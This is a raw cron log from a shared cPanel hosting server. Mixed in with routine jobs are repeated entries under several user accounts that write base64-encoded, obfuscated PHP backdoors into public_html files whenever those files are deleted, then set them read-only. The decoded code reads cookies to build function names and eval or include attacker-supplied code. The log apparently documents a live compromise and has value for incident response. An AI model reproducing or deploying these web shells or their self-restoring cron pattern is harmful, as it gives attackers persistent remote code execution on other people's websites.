Mar  2 15:30:02 medusa CROND[18970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:30:02 medusa CROND[18975]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18979]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18978]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:30:02 medusa CROND[18982]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:30:02 medusa CROND[18972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:30:02 medusa CROND[18977]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:30:02 medusa CROND[18992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:30:02 medusa CROND[18985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:30:02 medusa CROND[19012]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 15:31:01 medusa CROND[3132]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:31:01 medusa CROND[3274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:31:01 medusa CROND[3370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:31:01 medusa CROND[3371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:31:01 medusa CROND[3372]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:31:01 medusa CROND[3374]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:31:01 medusa CROND[3375]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:31:01 medusa CROND[3377]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:31:01 medusa CROND[3381]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:31:01 medusa CROND[3394]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:31:01 medusa CROND[3396]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:31:01 medusa CROND[3373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:31:01 medusa CROND[3397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:32:02 medusa CROND[24411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:32:02 medusa CROND[24508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:32:02 medusa CROND[24569]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:32:02 medusa CROND[24570]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:32:02 medusa CROND[24575]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:32:02 medusa CROND[24579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:32:02 medusa CROND[24580]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:32:02 medusa CROND[24582]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:32:02 medusa CROND[24583]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:32:02 medusa CROND[24593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:32:02 medusa CROND[24594]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:32:02 medusa CROND[24595]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:32:02 medusa CROND[24607]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:33:02 medusa CROND[12187]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:33:02 medusa CROND[12188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:33:02 medusa CROND[12191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:33:02 medusa CROND[12193]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2